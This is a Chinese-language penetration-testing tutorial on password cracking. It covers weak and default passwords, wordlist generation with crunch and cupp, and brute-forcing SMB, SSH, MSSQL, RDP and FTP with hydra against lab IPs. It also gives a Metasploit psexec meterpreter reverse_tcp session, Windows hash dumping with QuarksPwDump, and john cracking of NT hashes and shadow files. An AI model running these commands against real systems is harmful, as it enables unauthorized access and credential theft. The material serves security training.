一、口令破解
1.1 口令安全概述
现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访
问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。
1.2 口令安全现状
1、弱口令
类似 123456、654321、admin123 等这些常见的弱密码
2、默认口令
很多应用或者系统存在默认口令。比如 phpstudy 的 mysql 数据库默认账密[root/root],
Tomcat 管理控制台默认账密[tomcat/tomcat]等。
3、明文传输
比如 HTTP|FTP|TELNET 等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。
这样的服务,有嗅探的风险。
1.3 破解方式
1.3.1 在线破解方式
账密,需要认证
hydra
-l 指定一个用户名
-p 指定一个密码
-P 指定密码字典
-L 指定用户名字典
-vV 显示爆破细节
-o 保存爆破结果
-f 找到正确的密码就停止爆破
-t 线程
-e
n null
s same
r 反向
用户名未知,密码未知
用户名已知,密码未知
用户名未知,密码已知
1.3.2 离线破解方式
密文,还原成明文的过程
二、暴力破解
暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根
据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生
成密码的空间大小。
字符集 密码位数 密码空间
[0-9] 8 位 10^8=100000000
[0-9][a-z] 8 位 36^8=2821109907456
[0-9][a-z] 1 到 8 位
工具:crunch(kali 自带)
[crunch 1 8 1234567890abcdefghijklmnopqrstuvwxyz]
三、字典破解
如果能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成
本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会
漏掉真正的密码。密码字典大致分为以下几大类
3.1 弱口令字典
比如 123456,admin 等这样的默认口令或弱口令
3.2 社工字典
人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见
的密码组合“名字+生日”, [zhangsan1992]
社工字典更具针对性,准确率也比较高。
我们可以根据个人信息生成密码字典。可以使用 cupp 工具,但是 cupp 工具是国外人开发
的
apt-get update 更新软件列表
apt-get install cupp
cupp -i
3.3 字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本。
1、真空密码字典生成器
2、crunch(kali 自带)
是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文
件。
使用 crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需
要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重
要的作用。
⑴查看帮助
man crunch > crunch.help
⑵命令格式
crunch [] [options]
⑶参数说明
min-len 设定密码的最小长度(必选)
max-len 设定密码的最大长度(必选)
charset string 字符集
oprions
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,记包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/usr/share/crunch/charset.lst)
-i 改变输出格式,即 aaa,aab -> aaa,baa
-o 将密码保存到指定文件
-q 读取密码文件,即读取 pass.txt
-r 定义重复一个字符串就重新开始
-s 指定一个开始的字符
-t 指定密码输出的格式
-u 禁止打印百分比
-z 压缩生成的字典文件,支持 gzip,bzip2,lzma,7z
-l 生成特殊字符
-p 指定生成元素
⑷查看库文件
cat /usr/share/crunch/charset.lst
⑸特殊字符
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字母
3、生成密码字典
⑴生成 1-8 位密码字典,字符集合为小写字母,从 a 开始到 zzzzzzzz 结束
crunch 1 8
⑵生成 1-6 位的密码字典,字符集合为[abcdefg],从 a 开始到 gggggg 结束
crunch 1 6 abcdefg
⑶生成指定字符串,比如生日的日期
crunch 8 8 -t 199307%% -e 19930731
⑷生成元素的组合,比如 123.com
crunch 7 7 -t %%%.com -s 111.com -e 123.com
⑸在字典中输出特殊字符
crunch 3 3 abc -t @@@ -l @aa
⑹以元素组合生成字典
[zhangsan|1993|0701]
crunch 4 4 -P zhangsan 1993 0701
⑺保存字典文件
crunch 11 11 -t 1700010%%%% -b 20mb -o START
⑻自定义字符集合
例如:编辑 charset.lst 文件,在文件中加一行内容,test = 123
创建自定义字符集合[*.com] 字典文件
crunch 5 5 -f charset.lst test -t @.com
3.4 简单介绍字典
子域名字典
默认账号密码字典
文件路径字典
日志文件
Web 目录
常用变量名字典
常用文件名字典
四、Windows 口令破解
4.1 windows 口令远程爆破
1、hydra(九头蛇)
hydra -l administrator -P …/dic/pwd.dic 192.168.1.200 smb
或者
hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200
hydra -L …/dic/user.dic -P …/dic/pwd.dic 192.168.1.200 smb
hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200 -vV -f -e nsr
2、知道用户名、密码之后用 msf 远程连接
msfconsole
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
show options
exploit
4.2 windows 账户 hash 值破解(离线爆破)
除了可以远程爆破 windows 密码,我们还可以从本地破解 windows 密码。本地 Windows 账
户破解主要有两种方式
1、从内存中读取 windows 密码
我们可以用 getpass 直接从 Windows 系统内存中读取用户数据。
2、Windows hash 值破解
Windows hash 值破解一共有两步操作。
首先我们使用 QuarkPwDump 工具读取(导出)Windows 账户密码 hash 值
C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2008.hash
然后在使用 john 工具破解
john win2k8.hash --format=NT 使用默认字典
john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic
john win2k8.hash --show --format=NT
五、linux 口令破解
linux 口令破解,也分远程破解和和本地破解。
远程破解主要是爆破 ssh 服务,属于在线密码攻击。
本地破解需要拿到 linux 的 shadow 文件,进行 hash 值破解,属于离线密码攻击。
破解 ssh 服务
hydra -l root -P …/dic/pwd.dic ssh://192.168.1.200 -vV -f -e nsr
hydra -L /root/dic/user.dic -P /root/dic/winPass.dic 127.0.0.1 ssh -e nsr -vV -o 127.ssh
本地 shadow 文件破解
我们可以使用 john 工具,破解 shadow 密码文件,破解的时候需要准备一个密码字典。
复制一份 shadow 文件
john shadow
john shadow --show
六、网络服务口令破解
1、破解 MSSQL 口令
hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.150 mssql -vV
2、破解 RDP 口令
hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.150 rdp -vV
3、破解 FTP 口令
hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.150 ftp -vV